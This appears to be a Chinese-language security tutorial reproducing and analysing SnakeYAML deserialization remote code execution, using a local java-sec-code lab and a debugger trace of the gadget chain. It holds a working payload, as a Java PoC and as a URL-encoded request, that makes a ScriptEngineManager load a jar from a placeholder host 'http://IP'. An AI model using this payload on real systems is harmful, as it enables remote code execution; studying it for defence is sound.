Java--SnakeYaml反序列化
0x01环境搭建
首先在maven项目的pom文件下导入yaml的依赖
这里是1.27版本的,这里的jdk我用的是11,用1.8的没成功会抛异常
来跟着写一个实例来了解一下yaml
先写一个testSnake类
然后用yaml将该类实例对象给序列化,这里用的是dump()方法
输出结果:
!!意思是用来强制转换
0x01漏洞复现
攻击yaml的poc在github上找了一个
把项目给下载下来,把攻击命令给改一下
先编译payload代码
然后把这个项目打包成jar包,注意这里直接在项目目录下 打包src/目录下的就行了
jar -cvf yaml-payload.jar -C src/ .
这里先来本地复现一下,首先把jar包挂载到web页面
直接本地写一个yaml反序列化接收context参数
poc代码:
import org.yaml.snakeyaml.Yaml; public class test { public static void main(String[] args) { String context = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://IP/yaml-payload.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); yaml.load(context); } }
可以看到成功执行了jar包代码里面写的命令
接下来在java-sec-code里面复现一下
地址是
http://localhost:9127/rce/vuln/yarm
这里就直接是load 传进来的content,是我们可控的的序列化点
直接带上paylaod试一下,ok 成功rce!!
0x03漏洞分析
还是简单跟进流程分析一下
在load处下断点
然后跟进到Yaml.class文件中
然后跟进他的 loadFromReader 然后是一些赋值 不用纠结他
然后调用 getSingleData 去返回一个 constructDocument(node)
继续跟进到this.constructObject发现返回一个对象
然后跟进到constructObjectNoCheck,再找到 Constructor.class文件的getConstructor方法
然后回到getClassForNode反射获取了一个class对象
最后是到是到这里把possibleConstructors数组给赋值遍历等操作
最后就newInstance反射实例化对象
然后我们的对应命令代码就执行了
0x04总结
还是想说高级漏洞还是得反序列化啊,Java组件无处不在,一出现RCE就炸锅。
RCE中又以反序列化最为出名,通过有这个gadget所以payload才会那样构造,
对应yaml反序列化数据。
http://localhost:9127/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://IP/yaml-payload.jar%22]]]]
参考:Java安全